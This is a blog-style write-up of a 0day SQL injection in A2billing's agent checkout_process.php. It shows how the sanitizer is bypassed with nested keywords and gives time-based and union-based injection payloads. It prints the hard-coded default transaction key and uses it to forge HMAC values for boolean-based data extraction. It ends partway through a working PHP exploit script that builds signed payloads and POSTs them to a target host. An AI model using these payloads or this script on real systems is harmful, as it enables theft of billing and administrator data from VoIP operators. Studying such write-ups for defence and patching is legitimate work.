A2billing <= 2.1.1 0day SQL injection exploit writeup
October 28, 2016
Intro
A2B , Asterisk2billing , a2billing . . etc , the official website describe it as a
free and open source software for Asterisk, providing telecoms customer management including admin, agent, customer and online signup pages, with flexible inline rating and billing of calls and services in real time
a2billing is deployed by long list of voip companies and come by default with various voip distros , eg. and not limited to Elastix
A2b team is working hard to deliver a free open source and yet premium quality product with almost no real revenue (for a2b users , consider donations , It really worth it) , that’s why I will give them enough time to release updates and fix their stuff
a2billing is really nice tool with beautiful , easy and helpful interface which really seem to be secured enough from the 1st sight I mean when you look around the source code with these too many hardening / sanitation functions you be like But why be in a rush!! We got the time , smoked salmon and coffee , a lot of coffee so get your coffee , tea , weed or whatever make your eyes 15KM wide and let’s start
Hardening and sanitization
Good point , that’s what we should look for in the 1st place let’s start from scratch ,
File : common/lib/protect_sqli.php
1<?php
2
3function array_map_recursive( $func, $arr )
4{
5 $newArr = array();
6 if (!$arr) {
7 return $newArr;
8 }
9 foreach ($arr as $key => $value) {
10 $newArr[ $key ] = ( is_array( $value ) ? array_map_recursive( $func, $value ) : $func( $value ) );
11 }
12
13 return $newArr;
14}
15
16function recursive_filter($arr)
17{
18 $newArr = array();
19 foreach ($arr as $key => $value) {
20 if (is_array($value)) {
21 $newArr[ $key ] = recursive_filter( $value );
22 } else {
23 if (filter_var($value, FILTER_SANITIZE_STRING) !== false) {
24 $newArr[ $key ] = $value;
25 } else {
26 $newArr[ $key ] = filter_var($value, FILTER_SANITIZE_STRING);
27 }
28 }
29 }
30
31 return $newArr;
32}
33
34// Clean up POST, GET, and COOKIES vars.
35if (!get_magic_quotes_gpc()) {
36 $_POST = array_map_recursive('stripslashes',$_POST);
37 $_GET = array_map_recursive('stripslashes', $_GET);
38 $_COOKIE = array_map_recursive('stripslashes', $_COOKIE);
39}
40
41if (!function_exists('mysql_real_escape_string')) {
42 // $_POST = array_map_recursive('mysql_real_escape_string',$_POST);
43 // $_GET = array_map_recursive('mysql_real_escape_string', $_GET);
44 // $_COOKIE = array_map_recursive('mysql_real_escape_string', $_COOKIE);
45} else {
46 $_POST = array_map_recursive('addslashes',$_POST);
47 $_GET = array_map_recursive('addslashes', $_GET);
48 $_COOKIE = array_map_recursive('addslashes', $_COOKIE);
49}
50
51$_POST = recursive_filter($_POST);
52$_GET = recursive_filter($_GET);
53$_COOKIE = recursive_filter($_COOKIE);
The old fashioned sql injection protection stuff , to protect it , escape it Great , so basically what’s happening here is that any GET , POST , COOKIE inputs are being escaped before even being passed to any file Not bad , but still by-passable All queries are being processed through ExecuteQuery function located at Class.table.php
1<?php
2 public function ExecuteQuery($DBHandle, $QUERY, $cache = 0)
3 {
4 global $A2B;
5
6 if ($this->writelog) {
7 $time_start = microtime(true);
8 }
9
10 if ($A2B->config["database"]['dbtype'] == 'postgres') {
11 // convert MySQLisms to be Postgres compatible
12 $this->mytopg->My_to_Pg($QUERY);
13 } else {
14 // the MySQL schema takes care of case-insensitivity
15 $QUERY = preg_replace('/([[:space:]]+)I(LIKE[[:space:]]+)/i', '\1\2', $QUERY);
16 }
17
18 if ($this->debug_st) echo $this->start_message_debug . $QUERY . $this->end_message_debug;
19 if ($cache > 0) {
20 $res = $DBHandle->CacheExecute($cache, $QUERY);
21 } else {
22 $start = $this->getTime();
23 $res = $DBHandle->Execute($QUERY);
24 $this->query_handler->queryCount += 1;
25 $this->logQuery($QUERY, $start);
26 }
27
28 if ($DBHandle->ErrorNo() != 0) {
29 $this->errstr = $DBHandle->ErrorMsg();
30 if ($this->debug_st)
31 echo $DBHandle->ErrorMsg();
32 if ($this->debug_st_stop)
33 exit;
34 }
35
36 if ($this->writelog) {
37 $time_end = microtime(true);
38 $time = $time_end - $time_start;
39 }
40
41 if ($this->writelog) {
42 if ($time > $this->alert_query_time) {
43 if ($time > $this->alert_query_long_time)
44 $A2B->debug(WARN, false, __FILE__, __LINE__, "EXTRA_TOOLONG_DB_QUERY - RUNNING TIME = $time");
45 else
46 $A2B->debug(WARN, false, __FILE__, __LINE__, "TOOLONG_DB_QUERY - RUNNING TIME = $time");
47 }
48 $A2B->debug(DEBUG, false, __FILE__, __LINE__, "Running time=$time - QUERY=\n$QUERY\n");
49 }
50
51 return $res;
52 }
select blah from whatever where blahid=$am_vulnerable;
No quotes , we wont care about escaping , and it’s done
Vulnerability
by quick files viewing I found agent/public/checkout_process.php
Code snip
|
|
More hardening
A2B is getting input fields through getpost_ifset function
346function getpost_ifset($test_vars)
347{
348 if (!is_array($test_vars)) {
349 $test_vars = array (
350 $test_vars
351 );
352 }
353 foreach ($test_vars as $test_var) {
354 if (isset ($_POST[$test_var])) {
355 global $$test_var;
356 $$test_var = $_POST[$test_var];
357
358 } elseif (isset ($_GET[$test_var])) {
359 global $$test_var;
360 $$test_var = $_GET[$test_var];
361 }
362 if (isset($$test_var)) {
363 $$test_var = sanitize_data($$test_var);
364 //rebuild the search parameter to filter character to format card number
365 if ($test_var == 'username' || $test_var == 'filterprefix') {
366 //rebuild the search parameter to filter character to format card number
367 $filtered_char = array (
368 " ",
369 "-",
370 "_",
371 "(",
372 ")",
373 "/",
374 "\\"
375 );
376 $$test_var = str_replace($filtered_char, "", $$test_var);
377 }
378 }
379 }
380}
function sanitize_data($input)
{
if (is_array($input)) {
// Sanitize Array
foreach ($input as $var => $val) {
$output[$var] = sanitize_data($val);
}
} else {
// Remove whitespaces (not a must though)
$input = trim($input);
$input = str_replace('--', '', $input);
$input = str_replace('..', '', $input);
$input = str_replace(';', '', $input);
$input = str_replace('/*', '', $input);
// Injection sql
$input = str_ireplace('HAVING', '', $input);
$input = str_ireplace('UNION', '', $input);
$input = str_ireplace('SUBSTRING', '', $input);
$input = str_ireplace('ASCII', '', $input);
$input = str_ireplace('SHA1', '', $input);
#MD5 is used by md5secret
#$input = str_ireplace('MD5', '', $input);
$input = str_ireplace('ROW_COUNT', '', $input);
$input = str_ireplace('SELECT', '', $input);
$input = str_ireplace('INSERT', '', $input);
$input = str_ireplace('CASE WHEN', '', $input);
$input = str_ireplace('INFORMATION_SCHEMA', '', $input);
$input = str_ireplace('DROP', '', $input);
$input = str_ireplace('RLIKE', '', $input);
$input = str_ireplace(' IF', '', $input);
$input = str_ireplace(' OR ', '', $input);
$input = str_ireplace('\\', '', $input);
//$input = str_ireplace('DELETE', '', $input);
$input = str_ireplace('CONCAT', '', $input);
$input = str_ireplace('WHERE', '', $input);
$input = str_ireplace('UPDATE', '', $input);
$input = str_ireplace(' or 1', '', $input);
$input = str_ireplace(' or true', '', $input);
//Permutation - in mailing admin/Public/A2B_entity_mailtemplate.php
// we use url with key=$loginkey$
$input = str_ireplace('=$', '+$', $input);
$input = str_ireplace('=', '', $input);
$input = str_ireplace('+$', '=$', $input);
if (get_magic_quotes_gpc()) {
$input = stripslashes($input);
}
$input = sanitize_tag($input);
$output = addslashes($input);
}
return $output;
}
and
function sanitize_tag($input)
{
$search = array (
'@<script[^>]*?>.*?</script>@si', // Strip out javascript
'@<[\/\!]*?[^<>]*?>@si', // Strip out HTML tags
'@<style[^>]*?>.*?</style>@siU', // Strip style tags properly
'@<![\s\S]*?--[ \t\n\r]*>@' // Strip multi-line comments
);
$output = preg_replace($search, '', $input);
return $output;
}
Actually nth to explain , every single string which can be used in sqli is being removed via replacing it with “” which mean if the input was transactionID=456789 or 1=1– –
it will be queried as transactionID=45678911 –
which make no risk at all
Bypass
sensitization is not that strong after all , the function is sanitize each input twice , replacing risky strings with nth , so let’s put risky string inside risky string inside risky string so the 1st risky string is replaced the the 2nd risky string is replaced and we will have our last original risky string left!!
for instance
$input = str_replace('--', '', $input);
$input = str_replace('..', '', $input);
$input = str_replace(';', '', $input);
$input = str_replace('/*', '', $input);
If we need to add the — comment , all we need to do is to set the input value to -//**-
which will be proceed as following -//**-
———[1st replacement will remove /*
]——-> –/*–
————–[2nd replacement will remove another /*
]—–> only —
is left
same for the rest of the strings , just pick up a later string to replace inside the one you want
for instance
$input = str_ireplace('RLIKE', '', $input);
$input = str_ireplace(' IF', '', $input);
$input = str_ireplace(' OR ', '', $input);
$input = str_ireplace('\\', '', $input);
//$input = str_ireplace('DELETE', '', $input);
$input = str_ireplace('CONCAT', '', $input);
$input = str_ireplace('WHERE', '', $input);
If i want to use or inside the query , I can not use o i iffr
, because the if will be replaced twice and then or will also get removed
Instead we would use owhewhererer
so transactionID=456789 or 0x4148>benchmark(1,md5(0x4148))– –
would become transactionID=456789 oWHEUPDATEREr 0x4148>benchmark(1,md5(0x4148))-//**- –
so testing final payload will result in
And by increasing benchmark to 1 million we get 3.5 seconds delay
Filters bypassed ,
Time for real exploitation
Exploitation
using time based technique isn’t an option at all , stressing the target server that much with tons of benchmark queries is not the best options and can be only used when there is no alternative, so let’s try to convert this to Boolean based exploit back to checkout_process.php file
81<?php
82if (!is_array($transaction_data) && count($transaction_data) == 0) {
83 write_log(LOGFILE_EPAYMENT, basename(__FILE__).
84 ' line:'.__LINE__."- transactionID=$transactionID"." ERROR INVALID TRANSACTION ID PROVIDED, TRANSACTION ID =".$transactionID);
85 exit();
86} else {
87 write_log(LOGFILE_EPAYMENT, basename(__FILE__).
88 ' line:'.__LINE__."- transactionID=$transactionID"." EPAYMENT RESPONSE: TRANSACTIONID = ".$transactionID.
89 " FROM ".$transaction_data[0][4]."; FOR CUSTOMER ID ".$transaction_data[0][1]."; OF AMOUNT ".$transaction_data[0][2]);
90}
91
92$security_verify = true;
93$transaction_detail = base64_encode(serialize($_POST));
94
95$currencyObject = new currencies();
96$currencies_list = get_currencies();
97
98switch ($transaction_data[0][4]) {
99 case "paypal":
100 $currCurrency = $mc_currency;
101 if ($A2B->config['epayment_method']['charge_paypal_fee']==1) {
102 $currAmount = $transaction_data[0][2] ;
103 } else {
104 $currAmount = $transaction_data[0][2] - $mc_fee;
105 }
106 $postvars = array();
107 $req = 'cmd=_notify-validate';
108 foreach ($_POST as $vkey => $Value) {
109 $req .= "&" . $vkey . "=" . urlencode ($Value);
110 }
111
112 // Check amount is correct
113 if (intval($amount) != intval($_POST['mc_gross'])){
114 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__." -Amount Paypal is not matching");
115 $security_verify = false;
116 sleep(3);
117 }
118
119 // Headers PayPal system to validate
120 $header .= "POST /cgi-bin/webscr HTTP/1.1\r\n";
121 $header .= "Content-Type: application/x-www-form-urlencoded\r\n";
122 $header .= "Host: www.paypal.com\r\n";
123 $header .= "Content-Length: " . strlen ($req) . "\r\n\r\n";
124 for ($i = 1; $i <=3; $i++) {
125 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-OPENDING HTTP CONNECTION TO ".PAYPAL_VERIFY_URL);
126 $fp = fsockopen (PAYPAL_VERIFY_URL, 443, $errno, $errstr, 30);
127 if ($fp) {
128 break;
129 } else {
130 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__." -Try#".$i." Failed to open HTTP Connection : ".$errstr.". Error Code: ".$errno);
131 sleep(3);
132 }
133 }
134 if (!$fp) {
135 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-Failed to open HTTP Connection: ".$errstr.". Error Code: ".$errno);
136 exit();
137 } else {
138 fputs ($fp, $header . $req);
139 $flag_ver = 0;
140 while (!feof($fp)) {
141 $res = fgets ($fp, 1024);
142 if (strcmp ($res, "VERIFIED") == 0) {
143 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-PAYPAL Transaction Verification Status: Verified ");
144 $flag_ver = 1;
145 }
146 }
147 if ($flag_ver == 0) {
148 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-PAYPAL Transaction Verification Status: Failed ");
149 $security_verify = false;
150 }
151 }
152 fclose ($fp);
153 break;
154
155 case "moneybookers":
156 $currAmount = $transaction_data[0][2];
157 $sec_string = $merchant_id.$transaction_id.strtoupper(md5(MONEYBOOKERS_SECRETWORD)).$mb_amount.$mb_currency.$status;
158 $sig_string = strtoupper(md5($sec_string));
159
160 if ($sig_string == $md5sig) {
161 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-MoneyBookers Transaction Verification Status: Verified | md5sig =".$md5sig." Reproduced Signature = ".$sig_string." Generated String = ".$sec_string);
162 } else {
163 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-MoneyBookers Transaction Verification Status: Failed | md5sig =".$md5sig." Reproduced Signature = ".$sig_string." Generated String = ".$sec_string);
164 $security_verify = false;
165 }
166 $currCurrency = $currency;
167 break;
168
169 case "authorizenet":
170 $currAmount = $transaction_data[0][2];
171 $currCurrency = BASE_CURRENCY;
172 break;
173
174 case "plugnpay":
175
176 if (substr($card_number,0,4) != substr($transaction_data[0][6],0,4)) {
177 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."- PlugNPay Error : First 4digits of the card doesn't match with the one stored.");
178 }
179
180 $currCurrency = BASE_CURRENCY;
181 $currAmount = $transaction_data[0][2];
182 $currAmount_usd = convert_currency($currencies_list, $currAmount, BASE_CURRENCY, 'USD');
183
184 $pnp_post_values = array(
185 'publisher-name' => MODULE_PAYMENT_PLUGNPAY_LOGIN,
186 'mode' => 'auth',
187 'ipaddress' => $_SERVER['REMOTE_ADDR'],
188 // Metainfo
189 'convert' => 'underscores',
190 'easycart' => '1',
191 'shipinfo' => '1',
192 'authtype' => MODULE_PAYMENT_PLUGNPAY_CCMODE,
193 'paymethod' => MODULE_PAYMENT_PLUGNPAY_PAYMETHOD,
194 'dontsndmail' => MODULE_PAYMENT_PLUGNPAY_DONTSNDMAIL,
195 // Card Info
196 'card_number' => $card_number,
197 'card-name' => $transaction_data[0][5],
198 'card-amount' => $currAmount_usd,
199 'card-exp' => $transaction_data[0][7],
200 'cc-cvv' => $transaction_data[0][10]
201 );
202 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."- PlugNPay Value Sent : \n\n".print_r($pnp_post_values, true));
203
204 // init curl handle
205 $pnp_ch = curl_init(PLUGNPAY_PAYMENT_URL);
206 curl_setopt($pnp_ch, CURLOPT_RETURNTRANSFER, 1);
207 $http_query = http_build_query( $pnp_post_values );
208 curl_setopt($pnp_ch, CURLOPT_POSTFIELDS, $http_query);
209 #curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // Upon problem, uncomment for additional Windows 2003 compatibility
210
211 // perform ssl post
212 $pnp_result_page = curl_exec($pnp_ch);
213 parse_str( $pnp_result_page, $pnp_transaction_array );
214
215 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."- PlugNPay Result : \n\n".print_r($pnp_transaction_array, true));
216 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."- RESULT : ".$pnp_transaction_array['FinalStatus']);
217
218 // $pnp_transaction_array['FinalStatus'] = 'badcard';
219 //echo "<pre>".print_r ($pnp_transaction_array, true)."</pre>";
220
221 $transaction_detail = serialize($pnp_transaction_array);
222 break;
223
224 default:
225 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-NO SUCH EPAYMENT FOUND");
226 exit();
227}
$transaction_data[0][4]
and doing some stuff later
228<?php
229if (empty($transaction_data[0]['vat']) || !is_numeric($transaction_data[0]['vat'])){
230 $VAT = 0;
231} else {
232 $VAT = $transaction_data[0]['vat'];
233}
234
235write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."curr amount $currAmount $currCurrency BASE_CURRENCY=".BASE_CURRENCY);
236$amount_paid = convert_currency($currencies_list, $currAmount, $currCurrency, BASE_CURRENCY);
237$amount_without_vat = $amount_paid / (1+$VAT/100);
238
239//If security verification fails then send an email to administrator as it may be a possible attack on epayment security.
240if ($security_verify == false) {
241 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."- security_verify == False | END");
242 try {
243 //TODO: create mail class for agent
244 $mail = new Mail('epaymentverify',null);
245 } catch (A2bMailException $e) {
246 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ERROR NO EMAIL TEMPLATE FOUND");
247 exit();
248 }
249 $mail->replaceInEmail(Mail::$TIME_KEY,date("y-m-d H:i:s"));
250 $mail->replaceInEmail(Mail::$PAYMENTGATEWAY_KEY, $transaction_data[0][4]);
251 $mail->replaceInEmail(Mail::$ITEM_AMOUNT_KEY, $amount_paid.$currCurrency);
252
253 // Add Post information / useful to track down payment transaction without having to log
254 $mail->AddToMessage("\n\n\n\n"."-POST Var \n".print_r($_POST, true));
255 $mail ->send(ADMIN_EMAIL);
256 exit();
257}
258
259$newkey = securitykey(EPAYMENT_TRANSACTION_KEY, $transaction_data[0][8]."^".$transactionID."^".$transaction_data[0][2]."^".$transaction_data[0][1]);
260if ($newkey == $key) {
261 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."----------- Transaction Key Verified ------------");
262} else {
263 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."----NEW KEY =".$newkey." OLD KEY= ".$key." ------- Transaction Key Verification Failed:".$transaction_data[0][8]."^".$transactionID."^".$transaction_data[0][2]."^".$transaction_data[0][1]." ------------\n");
264 exit();
265}
266write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ---------- TRANSACTION INFO ------------\n".print_r($transaction_data,1));
267$payment_modules = new payment($transaction_data[0][4]);
<?php
function securitykey($key, $data)
{
// RFC 2104 HMAC implementation for php.
// Creates an md5 HMAC.
// Eliminates the need to install mhash to compute a HMAC
// Hacked by Lance Rushing
$b = 64; // byte length for md5
if (strlen($key) > $b) {
$key = pack("H*", md5($key));
}
$key = str_pad($key, $b, chr(0x00));
$ipad = str_pad('', $b, chr(0x36));
$opad = str_pad('', $b, chr(0x5c));
$k_ipad = $key ^ $ipad;
$k_opad = $key ^ $opad;
return md5($k_opad . pack("H*", md5($k_ipad . $data)));
}
Lucky us EPAYMENT_TRANSACTION_KEY is the same at all a2billing versions and is not being changed at all which always equal asdf1212fasd121554sd4f5s45sdf assuming that we got a good key and bypassed the exit() part
267<?php
268$payment_modules = new payment($transaction_data[0][4]);
269// load the before_process function from the payment modules
270//$payment_modules->before_process();
271
272$QUERY = "SELECT id, credit, lastname, firstname, address, city, state, country, zipcode, phone, email, fax, currency " .
273 "FROM cc_agent WHERE id = '".$transaction_data[0][1]."'";
274$resmax = $DBHandle_max -> Execute($QUERY);
275if ($resmax) {
276 $numrow = $resmax -> RecordCount();
277} else {
278 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ERROR NO SUCH CUSTOMER EXISTS, CUSTOMER ID = ".$transaction_data[0][1]);
279 exit(gettext("No Such Customer exists."));
280}
281$customer_info = $resmax -> fetchRow();
282$nowDate = date("Y-m-d H:i:s");
283
284$pmodule = $transaction_data[0][4];
285
286$orderStatus = $payment_modules->get_OrderStatus();
287
288$Query = "INSERT INTO cc_payments_agent ( agent_id, agent_name, agent_email_address, item_name, item_id, item_quantity, payment_method, cc_type, cc_owner, cc_number, " .
289 " cc_expires, orders_status, last_modified, date_purchased, orders_date_finished, orders_amount, currency, currency_value) values (" .
290 " '".$transaction_data[0][1]."', '".$customer_info[3]." ".$customer_info[2]."', '".$customer_info["email"]."', 'balance', '".
291 $customer_info[0]."', 1, '$pmodule', '".$_SESSION["p_cardtype"]."', '".$transaction_data[0][5]."', '".$transaction_data[0][6]."', '".
292 $transaction_data[0][7]."', $orderStatus, '".$nowDate."', '".$nowDate."', '".$nowDate."', ".$amount_paid.", '".$currCurrency."', '".
293 $currencyObject->get_value($currCurrency)."' )";
294$result = $DBHandle_max -> Execute($Query);
295
296//************************UPDATE THE CREDIT IN THE CARD***********************
297$id = $customer_info[0];
298if ($id > 0) {
299 $addcredit = $transaction_data[0][2];
300 $instance_table = new Table("cc_agent", "");
301 $param_update .= " credit = credit + '".$amount_without_vat."'";
302 $FG_EDITION_CLAUSE = " id='$id'";
303 $instance_table -> Update_table ($DBHandle, $param_update, $FG_EDITION_CLAUSE, $func_table = null);
304 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." Update_table cc_card : $param_update - CLAUSE : $FG_EDITION_CLAUSE");
305
306 $field_insert = "date, credit, agent_id, description";
307 $value_insert = "'$nowDate', '".$amount_without_vat."', '$id', '".$transaction_data[0][4]."'";
308 $instance_sub_table = new Table("cc_logrefill_agent", $field_insert);
309 $id_logrefill = $instance_sub_table -> Add_table ($DBHandle, $value_insert, null, null, 'id');
310 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." Add_table cc_logrefill : $field_insert - VALUES $value_insert");
311
312 $field_insert = "date, payment, agent_id, id_logrefill, description";
313 $value_insert = "'$nowDate', '".$amount_paid."', '$id', '$id_logrefill', '".$transaction_data[0][4]."'";
314 $instance_sub_table = new Table("cc_logpayment_agent", $field_insert);
315 $id_payment = $instance_sub_table -> Add_table ($DBHandle, $value_insert, null, null,"id");
316 write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." Add_table cc_logpayment : $field_insert - VALUES $value_insert");
317}
318
319$_SESSION["p_amount"] = null;
320$_SESSION["p_cardexp"] = null;
321$_SESSION["p_cardno"] = null;
322$_SESSION["p_cardtype"] = null;
323$_SESSION["p_module"] = null;
324$_SESSION["p_module"] = null;
325
326//Update the Transaction Status to 1 (Proceed 1)
327$QUERY = "UPDATE cc_epayment_log_agent SET status=1, transaction_detail='".addslashes($transaction_detail)."' WHERE id = ".$transactionID;
328$paymentTable->SQLExec ($DBHandle_max, $QUERY);
329write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."- QUERY = $QUERY");
330
331switch ($orderStatus) {
332 case -2:
333 $statusmessage = "Failed";
334 break;
335 case -1:
336 $statusmessage = "Denied";
337 break;
338 case 0:
339 $statusmessage = "Pending";
340 break;
341 case 1:
342 $statusmessage = "In-Progress";
343 break;
344 case 2:
345 $statusmessage = "Successful";
346 break;
347}
348
349if ( ($orderStatus != 2) && ($transaction_data[0][4]=='plugnpay')) {
350 Header ("Location: checkout_payment.php?payment_error=plugnpay&error=The+payment+couldnt+be+proceed+correctly!");
351 die();
352}
353
354write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." EPAYMENT ORDER STATUS = ".$statusmessage);
355
356// load the after_process function from the payment modules
357$payment_modules->after_process();
358write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." EPAYMENT ORDER STATUS ID = ".$orderStatus." ".$statusmessage);
359write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ----EPAYMENT TRANSACTION END----");
360
361if ($transaction_data[0][4]=='plugnpay') {
362 Header ("Location: agentinfo.php");
363 die;
364}
The most line we really care about is line 94,95 why? because it’s the only way to indicate if the injection query is true or false let’s enum the steps we need to take and get it done one by one
- making sure that our injection payload result in an array
- Bypass the exit at line 226
- getting through the key validation
- making sure that $resmax value at line 273 != null
1st the query will result in an array if we used union based injection transactionID=45678911111 unise//**lecton selinse//**rtect 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-//**- -&sess_id=4148
will result in an array , so we 1st problem is solved
2nd , the exit() at line 226 , this can be easily solved by setting $transaction_data[0][4]
to any predefined string , eg. authorizenet
query would be like
transactionID=456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x617574686f72697a656e6574,6,7,8,9,10,11,12,13-//**- -&sess_id=4148
Problem solved
Now with the 3rd one , the key stuff actually we will depend a lot on that key to determine if our query is successfull or not the key encryption format is
$transaction_data[0][8].”^”.$transactionID.”^”.$transaction_data[0][2].”^”.$transaction_data[0][1]
which in our case will be Exactly
authorizenet9^456789111111 union select 1,2,3,4,0x617574686f72697a656e6574,6,7,8,9,10,11,12,13– -^3^2
If we used the encryption function to encrypt these data using the key “asdf1212fasd121554sd4f5s45sdf” we will get “d5b020a7114699b40b4a513c309034a5” which is the true key value
Let’s stop here for a minute
as noticed the key data value is $transaction_data[0][8].”^”.$transactionID.”^”.$transaction_data[0][2].”^”.$transaction_data[0][1]
We have control over $transaction_data , mean we can use it to execute an inner query
eg. transactionID=456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x617574686f72697a656e6574,6,7,8,(selinse//**rtect(version())),10,11,12,13-//**- -&sess_id=4148
The key input will be
5.0.95^456789111111 union select 1,2,3,4,0x617574686f72697a656e6574,6,7,8,version(),10,11,12,13– -^3^2
Keep this on your mind for later
Let’s go through the last Problem , controlling the redirection/termination flow
348<?php
349if ( ($orderStatus != 2) && ($transaction_data[0][4]=='plugnpay')) {
350 Header ("Location: checkout_payment.php?payment_error=plugnpay&error=The+payment+couldnt+be+proceed+correctly!");
351 die();
352}
353
354write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." EPAYMENT ORDER STATUS = ".$statusmessage);
355
356// load the after_process function from the payment modules
357$payment_modules->after_process();
358write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." EPAYMENT ORDER STATUS ID = ".$orderStatus." ".$statusmessage);
359write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ----EPAYMENT TRANSACTION END----");
360
361if ($transaction_data[0][4]=='plugnpay') {
362 Header ("Location: agentinfo.php");
363 die;
364}
transactionID=456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x706c75676e706179,6,7,8,9,10,11,12,13-//**- -&sess_id=4148
Blinding it
The previous query will exactly equal key value 636902c6ed0db5780eb613d126e95268 If we passed this key value to the request
transactionID=456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x706c75676e706179,6,7,8,9,10,11,12,13-//**- -&sess_id=4148&key=636902c6ed0db5780eb613d126e95268
Response will be
Great , Redirection occured because that our query + query output matched the key we provided we will take this advantage to exploit this flaw using boolean based technique
Return to passing the key part , We will provide an inner query , say that substring((select username from admins),1,1) is truely equal to a
- in our request we will add that inner query
- and in OUR encryption function we will provide an ‘a‘ instead
- taking the key resulting from step 2
- Passing that key value with the request on step 1
- If the ‘a’ we provided on step 2 is true , a redirection will occur , If not true , redirection wont take place
using this we will be able to extract all data we need Let’s give this a try
Using the following php code we can generate full request based on our wanted query
<?php
$x=$_POST['query'];
$y=$_POST['rez'];
function securitykey($key, $data)
{
$b = 64;
if (strlen($key) > $b) {
$key = pack("H*", md5($key));
}
$key = str_pad($key, $b, chr(0x00));
$ipad = str_pad('', $b, chr(0x36));
$opad = str_pad('', $b, chr(0x5c));
$k_ipad = $key ^ $ipad;
$k_opad = $key ^ $opad;
return md5($k_opad . pack("H*", md5($k_ipad . $data)));
}
function sanitize_tag($input)
{
$search = array (
'@<script[^>]*?>.*?</script>@si', // Strip out javascript
'@<[\/\!]*?[^<>]*?>@si', // Strip out HTML tags
'@<style[^>]*?>.*?</style>@siU', // Strip style tags properly
'@<![\s\S]*?--[ \t\n\r]*>@' // Strip multi-line comments
);
$output = preg_replace($search, '', $input);
return $output;
}
/*
* function sanitize_data
*/
function sanitize_data($input)
{
if (is_array($input)) {
// Sanitize Array
foreach ($input as $var => $val) {
$output[$var] = sanitize_data($val);
}
} else {
// Remove whitespaces (not a must though)
$input = trim($input);
$input = str_replace('--', '', $input);
$input = str_replace('..', '', $input);
$input = str_replace(';', '', $input);
$input = str_replace('/*', '', $input);
// Injection sql
$input = str_ireplace('HAVING', '', $input);
$input = str_ireplace('UNION', '', $input);
$input = str_ireplace('SUBSTRING', '', $input);
$input = str_ireplace('ASCII', '', $input);
$input = str_ireplace('SHA1', '', $input);
#MD5 is used by md5secret
#$input = str_ireplace('MD5', '', $input);
$input = str_ireplace('ROW_COUNT', '', $input);
$input = str_ireplace('SELECT', '', $input);
$input = str_ireplace('INSERT', '', $input);
$input = str_ireplace('CASE WHEN', '', $input);
$input = str_ireplace('INFORMATION_SCHEMA', '', $input);
$input = str_ireplace('DROP', '', $input);
$input = str_ireplace('RLIKE', '', $input);
$input = str_ireplace(' IF', '', $input);
$input = str_ireplace(' OR ', '', $input);
$input = str_ireplace('\\', '', $input);
//$input = str_ireplace('DELETE', '', $input);
$input = str_ireplace('CONCAT', '', $input);
$input = str_ireplace('WHERE', '', $input);
$input = str_ireplace('UPDATE', '', $input);
$input = str_ireplace(' or 1', '', $input);
$input = str_ireplace(' or true', '', $input);
//Permutation - in mailing admin/Public/A2B_entity_mailtemplate.php
// we use url with key=$loginkey$
$input = str_ireplace('=$', '+$', $input);
$input = str_ireplace('=', '', $input);
$input = str_ireplace('+$', '=$', $input);
if (get_magic_quotes_gpc()) {
$input = stripslashes($input);
}
$input = sanitize_tag($input);
$output = addslashes($input);
}
return $output;
}
$valid_query=sanitize_data(sanitize_data($x));
$req="transactionID=456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x706c75676e706179,6,7,8,$x,10,11,12,13-//**- -&sess_id=4148";
$key=securitykey("asdf1212fasd121554sd4f5s45sdf","$y^456789111111 union select 1,2,3,4,0x706c75676e706179,6,7,8,$valid_query,10,11,12,13-- -^3^2");
$full_req="$req&key=$key";
echo "<pre>Using request -> $full_req<br>";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"https://HOST/a2billing/agent/Public/checkout_process.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"$full_req");
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER, false);
